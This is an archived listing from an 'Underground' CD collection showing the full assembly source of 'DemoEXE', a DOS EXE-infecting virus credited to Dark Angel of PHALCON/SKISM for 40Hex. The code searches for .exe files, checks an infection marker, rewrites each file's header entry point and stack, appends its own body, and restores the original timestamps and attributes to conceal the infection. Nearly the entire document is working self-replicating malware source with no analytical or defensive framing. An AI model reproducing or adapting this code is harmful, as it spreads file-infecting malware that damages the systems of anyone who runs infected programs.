home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / demoexe.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  6.7 KB  |  152 lines

  1.   .model tiny                             ; Handy TASM directive
  2.  
  3.   .code                                   ; Virus code segment
  4.  
  5.             org 100h                      ; COM file starting IP
  6.  
  7.   ; Cheesy EXE infector
  8.  
  9.   ; Written by Dark Angel of PHALCON/SKISM
  10.  
  11.   ; For 40Hex Number 8 Volume 2 Issue 4
  12.  
  13.   id = 'DA'                               ; ID word for EXE infections
  14.  
  15.   startvirus:                             ; virus code starts here
  16.  
  17.             call next                     ; calculate delta offset
  18.  
  19.   next:     pop  bp                       ; bp = IP next
  20.  
  21.             sub  bp,offset next           ; bp = delta offset
  22.  
  23.             push ds
  24.  
  25.             push es
  26.  
  27.             push cs                       ; DS = CS
  28.  
  29.             pop  ds
  30.  
  31.             push cs                       ; ES = CS
  32.  
  33.             pop  es
  34.  
  35.             lea  si,[bp+jmpsave2]
  36.  
  37.             lea  di,[bp+jmpsave]
  38.  
  39.             movsw
  40.  
  41.             movsw
  42.  
  43.             movsw
  44.  
  45.             movsw
  46.  
  47.             mov  ah,1Ah                   ; Set new DTA
  48.  
  49.             lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  50.  
  51.             int  21h
  52.  
  53.             lea  dx,[bp+exe_mask]
  54.  
  55.             mov  ah,4eh                   ; find first file
  56.  
  57.             mov  cx,7                     ; any attribute
  58.  
  59.   findfirstnext:
  60.  
  61.             int  21h                      ; DS:DX points to mask
  62.  
  63.             jc   done_infections          ; No mo files found
  64.  
  65.             mov  al,0h                    ; Open read only
  66.  
  67.             call open
  68.  
  69.             mov  ah,3fh                   ; Read file to buffer
  70.  
  71.             lea  dx,[bp+buffer]           ; @ DS:DX
  72.  
  73.             mov  cx,1Ah                   ; 1Ah bytes
  74.  
  75.             int  21h
  76.  
  77.             mov  ah,3eh                   ; Close file
  78.  
  79.             int  21h
  80.  
  81.   checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  82.  
  83.             jnz  infect_exe
  84.  
  85.   find_next:
  86.  
  87.             mov  ah,4fh                   ; find next file
  88.  
  89.             jmp  short findfirstnext
  90.  
  91.   done_infections:
  92.  
  93.             mov  ah,1ah                   ; restore DTA to default
  94.  
  95.             mov  dx,80h                   ; DTA in PSP
  96.  
  97.             pop  es
  98.  
  99.             pop  ds                       ; DS->PSP
  100.  
  101.             int  21h
  102.  
  103.             mov  ax,es                    ; AX = PSP segment
  104.  
  105.             add  ax,10h                   ; Adjust for PSP
  106.  
  107.             add  word ptr cs:[si+jmpsave+2],ax
  108.  
  109.             add  ax,word ptr cs:[si+stacksave+2]
  110.  
  111.             cli                           ; Clear intrpts for stack manip.
  112.  
  113.             mov  sp,word ptr cs:[si+stacksave]
  114.  
  115.             mov  ss,ax
  116.  
  117.             sti
  118.  
  119.             db   0eah                     ; jmp ssss:oooo
  120.  
  121.   jmpsave             dd ?                ; Original CS:IP
  122.  
  123.   stacksave           dd ?                ; Original SS:SP
  124.  
  125.   jmpsave2            dd 0fff00000h       ; Needed for carrier file
  126.  
  127.   stacksave2          dd ?
  128.  
  129.   creator             db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
  130.  
  131.   virusname           db '[DemoEXE] for 40Hex',0
  132.  
  133.   infect_exe:
  134.  
  135.             les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  136.  
  137.             mov  word ptr [bp+jmpsave2], ax
  138.  
  139.             mov  word ptr [bp+jmpsave2+2], es
  140.  
  141.             les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  142.  
  143.             mov  word ptr [bp+stacksave2], es
  144.  
  145.             mov  word ptr [bp+stacksave2+2], ax
  146.  
  147.             mov  ax, word ptr [bp+buffer + 8] ; Get header size
  148.  
  149.             mov  cl, 4                        ; convert to bytes
  150.  
  151.             shl  ax, cl
  152.  
  153.             xchg ax, bx
  154.  
  155.             les  ax, [bp+offset newDTA+26]; Get file size
  156.  
  157.             mov  dx, es                   ; to DX:AX
  158.  
  159.             push ax
  160.  
  161.             push dx
  162.  
  163.             sub  ax, bx                   ; Subtract header size from
  164.  
  165.             sbb  dx, 0                    ; file size
  166.  
  167.             mov  cx, 10h                  ; Convert to segment:offset
  168.  
  169.             div  cx                       ; form
  170.  
  171.             mov  word ptr [bp+buffer+14h], dx ; New entry point
  172.  
  173.             mov  word ptr [bp+buffer+16h], ax
  174.  
  175.             mov  word ptr [bp+buffer+0Eh], ax ; and stack
  176.  
  177.             mov  word ptr [bp+buffer+10h], id
  178.  
  179.             pop  dx                       ; get file length
  180.  
  181.             pop  ax
  182.  
  183.             add  ax, heap-startvirus      ; add virus size
  184.  
  185.             adc  dx, 0
  186.  
  187.             mov  cl, 9                    ; 2**9 = 512
  188.  
  189.             push ax
  190.  
  191.             shr  ax, cl
  192.  
  193.             ror  dx, cl
  194.  
  195.             stc
  196.  
  197.             adc  dx, ax                   ; filesize in pages
  198.  
  199.             pop  ax
  200.  
  201.             and  ah, 1                    ; mod 512
  202.  
  203.             mov  word ptr [bp+buffer+4], dx ; new file size
  204.  
  205.             mov  word ptr [bp+buffer+2], ax
  206.  
  207.             push cs                       ; restore ES
  208.  
  209.             pop  es
  210.  
  211.             mov  cx, 1ah
  212.  
  213.   finishinfection:
  214.  
  215.             push cx                       ; Save # bytes to write
  216.  
  217.             xor  cx,cx                    ; Clear attributes
  218.  
  219.             call attributes               ; Set file attributes
  220.  
  221.             mov  al,2
  222.  
  223.             call open
  224.  
  225.             mov  ah,40h                   ; Write to file
  226.  
  227.             lea  dx,[bp+buffer]           ; Write from buffer
  228.  
  229.             pop  cx                       ; cx bytes
  230.  
  231.             int  21h
  232.  
  233.             mov  ax,4202h                 ; Move file pointer
  234.  
  235.             xor  cx,cx                    ; to end of file
  236.  
  237.             cwd                           ; xor dx,dx
  238.  
  239.             int  21h
  240.  
  241.             mov  ah,40h                   ; Concatenate virus
  242.  
  243.             lea  dx,[bp+startvirus]
  244.  
  245.             mov  cx,heap-startvirus       ; # bytes to write
  246.  
  247.             int  21h
  248.  
  249.             mov  ax,5701h                 ; Restore creation date/time
  250.  
  251.             mov  cx,word ptr [bp+newDTA+16h] ; time
  252.  
  253.             mov  dx,word ptr [bp+newDTA+18h] ; date
  254.  
  255.             int  21h
  256.  
  257.             mov  ah,3eh                   ; Close file
  258.  
  259.             int  21h
  260.  
  261.             mov ch,0
  262.  
  263.             mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  264.  
  265.             call attributes                 ; attributes
  266.  
  267.   mo_infections: jmp find_next
  268.  
  269.   open:
  270.  
  271.             mov  ah,3dh
  272.  
  273.             lea  dx,[bp+newDTA+30]        ; filename in DTA
  274.  
  275.             int  21h
  276.  
  277.             xchg ax,bx
  278.  
  279.             ret
  280.  
  281.   attributes:
  282.  
  283.             mov  ax,4301h                 ; Set attributes to cx
  284.  
  285.             lea  dx,[bp+newDTA+30]        ; filename in DTA
  286.  
  287.             int  21h
  288.  
  289.             ret
  290.  
  291.   exe_mask            db '*.exe',0
  292.  
  293.   heap:                                   ; Variables not in code
  294.  
  295.   newDTA              db 42 dup (?)       ; Temporary DTA
  296.  
  297.   buffer              db 1ah dup (?)      ; read buffer
  298.  
  299.   endheap:                                ; End of virus
  300.  
  301.   end       startvirus
  302.  
  303.